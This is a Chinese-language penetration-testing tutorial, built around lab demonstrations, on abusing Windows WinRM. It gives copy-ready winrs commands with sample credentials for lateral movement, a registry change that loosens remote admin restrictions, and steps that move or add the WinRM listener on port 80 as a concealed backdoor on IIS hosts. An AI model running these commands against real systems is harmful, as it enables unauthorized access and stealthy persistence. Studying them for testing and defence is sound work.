注意事项:该文章只作为合法的安全研究与测试中的参考资料,严禁私自用于任何非法途径,因此如果造成任何的后果,均由读者自己承担。
同时也十分欢迎师傅们一起交流学习,如果有任何细节出错,也望师傅们指正
本篇内容将介绍WinRM的两个利用点
①利用WinRM进行横向;
②利用WinRM进行预留端口复用后门
什么是WinRM
服务默认端口:
5985
(
HTTP
)与
5986
(
HTTPS
)
以下命令是用于笔记快速复制利用,至于命令什么时候用与怎么用,文章下文将会介绍。
1、基础命令使用:#面对Win7/8/8.1/10/Server 2008/Server 2008R2的目标系统主机中需要执行下列命令对服务WinRM进行配置winrm quickconfig -q #快速配置WinRM服务#Windows控制主机下所执行的命令,进行对目标主机WinRM服务的连接winrm quickconfig -q #快速配置WinRM服务winrm set winrm/config/Client @{TrustedHosts="*"} #信任任意连接主机winrs -r:http://192.168.52.132:5985 -u:.\Administrator -p:123456 cmd.exe #调出目标主机上的CMD交互环境winrs -r:http://192.168.52.132:5985 -u:.\Administrator -p:123456 ipconfig #执行ipconfig命令winrs -r:http://192.168.52.132:5985 -u:.\Administrator -p:123456 powershell.exe #调出powershell环境reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system v LocalAccountTokenFilterPolicy t REG_DWORD d 1 f#修改注册表的LocalAccountTokenFilterPolicy值为1,允许WinRM连接的用户权限2、预留端口复用后门命令(在预留后门的主机下执行):netsh http show servicestate #查看在HTTP.sys注册的URL前缀winrm e winrm/config/listener #查看WinRM监听端口信息winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"} #新增WinRM服务的80端口监听winrm quickconfig -q #快速配置WinRM服务winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"} #修改WinRM的默认端口#利用后门进行命令执行与基础命令使用的步骤一样
WinRM远程连接操作
测试环境:
失陷主机 Windows 10教育版 192.168.52.132目标主机 Windows 10教育版-克隆机 192.168.52.131

利用条件:
在所控制的主机192.168.52.132 下进行配置:
命令:winrm quickconfig -q #快速配置WinRM服务winrm set winrm/config/Client @{TrustedHosts="*"} #信任任意连接主机

目标系统主机192.168.52.131下的配置(如果是Server 2012可以直接使用,这里配置目标主机是为了演示操作):
命令:winrm quickconfig -q #快速配置WinRM服务

测试是否可以使用命令操作(在操控主机下进行)
命令:winrs -r:http://192.168.52.131:5985 -u:Administrator -p:Aa123456 ipconfig #执行ipconfig命令winrs -r:http://192.168.52.131:5985 -u:Administrator -p:Aa123456 cmd.exe #调用CMD命令行


reg
add
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system
/
v LocalAccountTokenFilterPolicy
/
t REG_DWORD
/
d
1
/
f
LocalAccountTokenFilterPolicy值为0时,管理员组用户Adminxd登录失败:

LocalAccountTokenFilterPolicy值为1时,则登陆成功:


细节扩展:
在域环境中,无论目标主机下LocalAccountTokenFilterPolicy的值是否为1,只要是域管理员都具有连接凭证,目标主机允许域管理对自己进行WinRM远程连接,还有一种情况就是普通域用户被管理员添加到本地管理员组,这时候就算值为0关闭状态,也可以默认bypassuac,拥有WinRM的远程连接凭证,可以成功连接。

WinRM端口复用后门的利用
端口复用后门可以分为两种情况:
IIS服务器主机原本已经存在WinRM服务并开启默认端口5985的监听,为了隐匿性,而采用新增监听80端口。
IIS服务器主机未启用WinRM服务,为了隐匿性,将WinRM远程连接默认端口5985修改成80端口。
测试环境:Windows Server 2008 R2 DatacenterWindows 10 教育版

第一步、在利用端口复用后门之前,我们先对服务器进行信息收集,执行以下命令:
winrm e winrm/config/listener #查看WinRM服务监听端口信息netsh http show servicestate #查看在HTTP.sys驱动上注册的URL前缀


winrm quickconfig -q #快速配置WinRM服务winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}#修改WinRM服务默认端口为80端口


winrm quickconfig -q #快速配置WinRM服务winrm set winrm/config/Client @{TrustedHosts="*"} #信任任意连接主机winrs -r:http://192.168.52.138:80 -u:god\liukaifeng01 -p:Aa123456 ipconfig


新增一个WinRM服务监听80端口
winrm
set
winrm
/
config
/
service @
{
EnableCompatibilityHttpListener
=
"true"
}
#新增监听
80
端口



思路扩展



地址:https://github.com/Hackplayers/evil-winrm




